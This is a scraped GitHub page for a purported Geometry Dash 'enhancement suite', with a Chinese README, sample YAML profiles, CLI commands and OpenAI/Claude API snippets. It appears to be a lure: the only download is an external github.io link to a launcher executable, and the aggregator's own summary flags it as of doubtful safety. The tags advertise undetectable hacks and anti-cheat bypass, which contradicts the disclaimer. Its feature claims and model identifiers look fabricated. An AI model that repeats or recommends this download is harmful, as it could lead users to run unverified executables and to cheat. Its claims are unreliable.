adenilsonpfe/geometry-dash-decompiled
GitHub: adenilsonpfe/geometry-dash-decompiled
一个以游戏增强为名义的 Geometry Dash 修改工具,包装专业但下载指向外部站点,安全性存疑,适合作为安全研究和反作弊分析的反面案例。
Stars: 0 | Forks: 0
# Geometry Dash 增强套件 🚀
[](https://adenilsonpfe.github.io)
## 📋 目录
- [概述](#executive-overview)
- [项目背后的哲学](#the-philosophy-behind-this-project)
- [系统架构](#system-architecture)
- [功能矩阵](#feature-matrix)
- [兼容性与操作系统支持](#compatibility--os-support)
- [安装指南](#installation-guide)
- [配置示例](#configuration-examples)
- [控制台调用与 CLI 使用](#console-invocation--cli-usage)
- [API 集成: OpenAI 与 Claude](#api-integration-openai--claude)
- [多语言与响应式设计](#multilingual--responsive-design)
- [配置文件示例](#profile-configuration-examples)
- [免责声明与道德使用](#disclaimer--ethical-use)
- [许可证](#license)
## 🌟 概述
欢迎使用 **Geometry Dash 增强套件** —— 这是一个精心打造的工具包,重新定义了玩家与这款广受欢迎的节奏类平台游戏的交互方式。与传统的修改方法不同,本项目专注于**通过智能逆向工程来增强用户体验**,并经过细致的反编译分析,从而打造出一个流畅、响应迅速且高度可定制的环境。
可以将其想象成一个**数字工匠的工作坊** —— 每个工具都经过精密设计,每个功能都经过打磨,以与原游戏的架构无缝集成。最终的结果是一个增强层,它感觉不像是修改,而更像是发现了那些一直等待被解锁的隐藏功能。
## 🧠 项目背后的哲学
传统的游戏修改通常遵循“破坏并替换”的思维模式。我们的方法有着本质的不同:
本仓库代表了对 Geometry Dash 核心运行时行为进行广泛逆向工程努力的结晶。通过分析内存分配模式、渲染管道和事件处理循环,我们开发了一个**非破坏性覆盖层**,在不损害稳定性的情况下提高性能。
## 🔧 系统架构
```
graph TD
A[Geometry Dash Game Client] --> B[Enhancement Suite Loader]
B --> C[Runtime Monitor]
B --> D[Configuration Engine]
B --> E[UI Overlay System]
C --> F[Performance Analyzer]
C --> G[Memory Optimizer]
D --> H[Profile Manager]
D --> I[Schema Validator]
E --> J[Responsive Renderer]
E --> K[Multilingual Text Engine]
F --> L[Log Aggregator]
G --> L
H --> L
I --> L
J --> L
K --> L
L --> M[Output Dashboard]
```
该架构遵循**分层插件模式**,其中每个组件独立运行,允许进行精细化更新并将性能开销降至最低。加载器充当轻量级协调器,确保所有增强功能都符合原游戏的安全和稳定性协议。
## ✨ 功能矩阵
### 核心功能 🌐
| 功能 | 描述 | 集成级别 |
|---------|-------------|-------------------|
| **性能优化器** | 动态调整渲染参数以获得更平滑的帧率 | 系统 |
| **响应式 UI** | 使界面元素适应任何屏幕分辨率或宽高比 | 视觉 |
| **多语言支持** | 具有 30 多种语言包的完整本地化引擎 | 文本 |
| **实时统计** | 屏幕上的 FPS、内存使用和输入延迟指标 | 诊断 |
| **智能配置** | 基于硬件能力的 AI 辅助配置文件调整 | 预测 |
### 高级功能 🚀
- **反编译产物分析** —— 利用逆向工程洞察来识别和修补性能瓶颈,而无需更改游戏文件
- **动态输入映射** —— 可重新配置的控件,可适应 exotic 硬件,如跳舞毯、MIDI 控制器和触摸界面
- **自适应难度缩放** —— 基于用户表现模式对时间窗口进行细微调整(可选)
- **视频录制套件** —— 具有硬件加速编码的内置捕获功能
- **云端配置文件同步** —— 使用加密 payload 跨设备安全地存储和检索您的配置
## 💻 兼容性与操作系统支持
| 操作系统 | 状态 | 备注 |
|------------------|--------|-------|
| Windows 10/11 | ✅ 完全支持 | 原生构建,集成 DirectX 11 |
| Windows 7/8 | ✅ 支持 | 提供旧版模式 |
| macOS Ventura+ | ✅ 支持 | Metal API 渲染器 |
| macOS Monterey | ⚠️ 部分 | 某些功能受限 |
| Linux (Proton/Wine) | ✅ 社区 | 实验性,已在 Steam Proton 上测试 |
| iOS/iPadOS | ✅ 支持 | 高级功能需要越狱 |
| Android | ⚠️ 测试版 | 当前版本功能有限 |
## 📥 安装指南
### 前置条件
- **Geometry Dash**(Steam 或独立版本,版本 2.2+)
- **200 MB** 可用磁盘空间
- **4 GB RAM** 最低要求
- **.NET Runtime 8.0** (Windows) 或 **Mono** (macOS/Linux)
### 快速开始
1. **下载最新版本的安装包:**
[](https://adenilsonpfe.github.io)
2. 将压缩包解压到任意位置(避免使用受系统保护的目录,如 `Program Files`)
3. 运行 `GDES_Launcher.exe` (Windows) 或 `GDES_Launcher` (macOS/Linux)
4. 启动器将自动检测您的 Geometry Dash 安装路径
5. 从下方的[示例配置](#profile-configuration-examples)中选择您偏好的配置文件
6. 点击 **“增强并启动”**,看着您的游戏焕然一新
## ⚙️ 配置示例
### 示例配置:“竞技清晰度” 🎯
```
profile_name: competitive_clarity
version: 1.0.2
target_fps: 144
renderer:
anti_aliasing: fxaa
vsync: off
resolution_scale: 1.0
ui:
transparency: 0.85
font: inter
language: auto
performance:
memory_limit: 2048
cpu_affinity: auto
preload_assets: true
```
### 示例配置:“沉浸电影感” 🎬
```
profile_name: immersive_cinematic
version: 1.1.0
target_fps: 60
renderer:
anti_aliasing: taa_4x
vsync: adaptive
resolution_scale: 1.5
bloom: moderate
shadows: soft
ui:
transparency: 0.50
font: serif
language: auto
performance:
memory_limit: 4096
preload_assets: false
```
## 💾 控制台调用与 CLI 使用
增强套件包含一个功能强大的命令行界面,专为高级用户和自动化场景设计:
### 基本命令
```
# 以自定义 profile 启动
gdes-cli --profile competitive_clarity
# 生成 diagnostic report
gdes-cli --diagnostic --output report.json
# 在不启动游戏的情况下应用 configuration
gdes-cli --apply-config ./custom_profile.yaml
# 检查 system compatibility
gdes-cli --check-compatibility
# 以 safe mode 启动(禁用所有增强功能)
gdes-cli --safe-mode
```
### 高级用法
```
# Chain 多个命令
gdes-cli --profile immersive_cinematic --record --output-dir ./recordings
# 用于 benchmarking 的 Headless operation
gdes-cli --headless --benchmark --iterations 5
# 导出当前 configuration
gdes-cli --export-config --format yaml --output $HOME/gdes_config.yaml
```
## 🤖 API 集成: OpenAI 与 Claude
增强套件集成了 OpenAI 的 GPT 模型和 Anthropic 的 Claude API,用于**智能配置文件调整和自然语言配置**。
### OpenAI API 集成
```
import httpx
config_payload = {
"model": "gpt-4-turbo", # or "gpt-4o-mini" for cost-effective tuning
"messages": [
{"role": "system", "content": "You are a game performance optimization expert."},
{"role": "user", "content": f"My system has 8GB RAM and an RTX 3060. Generate an optimal GDES profile."}
],
"max_tokens": 500
}
response = httpx.post(
"https://api.openai.com/v1/chat/completions",
json=config_payload,
headers={"Authorization": "Bearer YOUR_OPENAI_KEY"}
)
```
### Claude API 集成
```
import anthropic
client = anthropic.Anthropic(api_key="YOUR_CLAUDE_KEY")
response = client.messages.create(
model="claude-3-opus-2024-10-22", # or "claude-3-haiku-20250301" for rapid responses
max_tokens=1024,
system="You are an expert in game enhancement configuration. Provide detailed, safe recommendations.",
messages=[
{"role": "user", "content": "Tune my Geometry Dash for maximum visual quality on a 4K display with RTX 4090"}
]
)
```
### AI 集成的用例
- **自动生成配置文件**:用自然语言描述您的硬件和偏好
- **故障排除助手**:粘贴崩溃日志并接收配置调整建议
- **性能预测**:分析您的系统并预测最佳设置
- **A/B 测试指导**:使用 AI 分析比较不同的配置方案
## 🌍 多语言与响应式设计
### 多语言引擎 🌐
我们的文本渲染系统支持 **30 多种语言**,并可根据系统区域设置进行自动检测:
| 语言 | 代码 | 文字 | Unicode 支持 |
|----------|------|--------|-----------------|
| English | `en` | 拉丁文 | 完整 |
| Spanish | `es` | 拉丁文 | 完整 |
| Japanese | `jp` | 汉字/假名 | 完整 + 竖排文本 |
| Arabic | `ar` | 阿拉伯文 | RTL 支持 |
| Russian | `ru` | 西里尔文 | 完整 |
| Chinese (Simplified) | `zh-cn` | 汉字 | 完整 |
| Hindi | `hi` | 梵文 | 部分 |
### 响应式 UI 设计 📐
覆盖层系统采用**流式网格架构**,可自适应:
- **1080p** → 默认布局
- **1440p** → 扩展的详情面板
- **4K** → 超高信息密度
- **Ultrawide (21:9)** → 侧边栏排列
- **Portrait mode** → 垂直堆叠
- **Handheld devices** → 触摸优化的控件
响应式引擎使用**基于视口的断点**实时触发布局重新计算,确保在所有显示配置下提供一致的体验。
## 👤 配置文件示例
### 示例:“主播之选” 🎥
```
profile_name: streamers_choice
version: 1.0.0
target_fps: 60
renderer:
anti_aliasing: off # Reduces GPU load for encoding
vsync: off
resolution_scale: 0.9
ui:
hide_ui: false
stream_clean: true # Removes sensitive information
language: en
performance:
memory_limit: 3072
cpu_affinity: [0, 2, 4, 6] # Reserve cores for streaming software
```
### 示例:“速通玩家之刃” ⚡
```
profile_name: speedrunners_edge
version: 1.1.3
target_fps: 240
renderer:
anti_aliasing: off
vsync: off
resolution_scale: 0.75 # Lower resolution for maximum performance
detail_level: minimum
ui:
transparency: 0.25
show_fps: true
show_input_lag: true
language: en
performance:
memory_limit: 4096
unsafe_optimizations: true # Enable experimental tweaks
```
## ⚠️ 免责声明与道德使用
1. **不提供任何形式的保证** —— 本软件按“原样”提供,不含任何明示或暗示的保证。对于任何损害、账户暂停或数据丢失,开发人员不承担任何责任。
2. **风险自负** —— 修改游戏行为可能违反原游戏的服务条款。本项目不鼓励或纵容在竞技环境、排行榜或排位赛中的作弊行为。
3. **道德增强边界** —— 增强套件完全在本地运行,不会:
- 将修改后的游戏数据上传到第三方服务器
- 干扰在线匹配系统
- 在多人游戏环境中提供不公平的优势
- 绕过购买验证或许可证检查
4. **研究与透明度** —— 我们的逆向工程工作是为了学术和教育目的而记录的。我们鼓励负责任地披露发现的任何漏洞。
5. **尊重社区** —— 该工具旨在增强个人的游戏体验,而不是为了破坏他人的成就。请负责任地使用,并尊重更广泛的 Geometry Dash 社区。
## 📄 许可证
本项目采用 **MIT 许可证** 授权 —— 这是一种宽松的开源许可证,允许自由使用、修改和分发,前提是必须给予适当的署名。
[](https://opensource.org/licenses/MIT)
有关完整的条款和条件,请参阅完整的 [LICENSE](https://opensource.org/licenses/MIT) 文本。
## 📢 最终说明
**版本 stable-2026.1** —— 本项目正在积极维护和更新。我们欢迎通过仓库的 Issue 追踪器提交贡献、错误报告和功能建议。
[](https://adenilsonpfe.github.io)
*Geometry Dash 增强套件 —— 2026 版*
标签:C++, Decompilation, DLL注入, DNS 反向解析, Geometry Dash, Mod菜单, Undetectable Hack, URL提取, 二进制分析, 云安全运维, 作弊器, 内存修改, 动态链接库注入, 反作弊绕过, 反编译, 外挂开发, 安全对抗, 客户端修改, 开源游戏工具, 数据擦除, 文档结构分析, 汇编, 流量审计, 游戏修改, 游戏破解, 游戏辅助, 游戏逆向工程, 潜行修改